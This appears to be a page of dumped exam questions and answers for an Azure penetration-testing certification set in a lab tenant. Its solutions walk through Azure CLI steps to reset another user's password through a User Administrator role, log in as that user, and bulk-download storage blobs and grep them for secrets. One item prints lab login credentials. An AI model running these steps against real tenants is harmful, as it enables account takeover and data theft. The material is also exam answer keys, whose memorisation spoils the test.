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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Post-Exploitation & Persistence | 15% | - Data collection and exfiltration techniques - Full attack chain demonstration - Maintaining persistent access - Defense evasion in Azure environment |
| Topic 2: Lateral Movement & Tenant Compromise | 20% | - Compute, storage, and network pivoting - API and Azure management endpoint exploitation - Hybrid identity and on-prem integration abuse - Cross-resource and subscription hopping |
| Topic 3: Initial Access | 20% | - Token and session abuse - Exposed secrets and configuration flaws - Consent phishing and application abuse - Password spraying and credential stuffing |
| Topic 4: Privilege Escalation | 25% | - Entra ID role and permission abuse - Managed Identity exploitation - Key Vault and secret management misconfigurations - Service Principal and App Registration attacks |
| Topic 5: Reconnaissance & Enumeration | 20% | - Azure tenant and domain enumeration - Azure resource discovery - Entra ID (Azure AD) enumeration - DNS, endpoints, and exposed services mapping |
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NEW QUESTION # 10
After gaining access to the Azure tenant, enumerate all resource groups available to the compromised user.
One resource group contains the word prod. What is the name of that resource group?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
rg-prod-apps-eastus
Detailed Solution:
List accessible resource groups:
az group list --output table
For a cleaner search:
az group list \
--query " [?contains(name, ' prod ' )].{Name:name,Location:location} " \
--output table
Expected output:
Name Location
-------------------- ----------
rg-prod-apps-eastus eastus
The resource group containing prod is:
rg-prod-apps-eastus
NEW QUESTION # 11
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id lila.nguyen@azuresecops.onmicrosoft.com \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
nguyen@azuresecops.onmicrosoft.com.
NEW QUESTION # 12
ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly after the migration, the company suffered a security breach resulting in the exposure of sensitive internal data. Their investigation revealed that the attack originated from a disgruntled developer who has since disappeared. To assess and mitigate further risks, ExcaliburCorp has granted you access to a replica Azure environment with the same permissions the developer had at the time of the incident. Your task is to simulate the attacker's actions, uncover the full extent of the compromise, and identify vulnerable configurations or services that enabled the breach.
Using the provided Azure login credentials, perform OSINT and reconnaissance to identify the Azure Active Directory/AAD Tenant ID associated with the environment.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! ' After successful authentication, check the active Azure subscription context.
az account show
The important fields are:
{
" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,
" name " : " Azure subscription 1 " ,
" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,
" tenantDisplayName " : " ExcaliburCorp " ,
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "
}
The AAD / Microsoft Entra tenant ID is the tenantId.
Final answer:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
NEW QUESTION # 13
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token " $SAS " \
--query " [].name " \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token " $SAS "
Search the downloaded files for application credentials:
grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " - CaseSensitive:$false A typical file may look like this:
{
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,
" clientId " : " < application-client-id > " ,
" clientSecret " : " < application-client-secret > "
}
The clientId / appId value is the answer.
Final answer:
Use the clientId / appId value found in the blob credential file.
NEW QUESTION # 14
You are reviewing Azure Activity Logs after a lab compromise. Which operation indicates that an attacker reset another user's password through Microsoft Entra ID?
Answer: B
Explanation:
Detailed Solution:
In an Entra ID abuse path, a privileged user such as User Administrator may reset another user's password. In logs, this appears as a user update operation involving the password profile.
Check audit logs in the portal:
Microsoft Entra ID # Monitoring # Audit logs
Or query via Microsoft Graph/Azure tooling depending on permissions.
The activity to look for is generally:
Update user
Modified property: passwordProfile
The other options represent different activities:
Microsoft.Authorization/roleAssignments/write = RBAC role assignment change Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read Correct answer:
B). Update user / password profile modification
NEW QUESTION # 15
......
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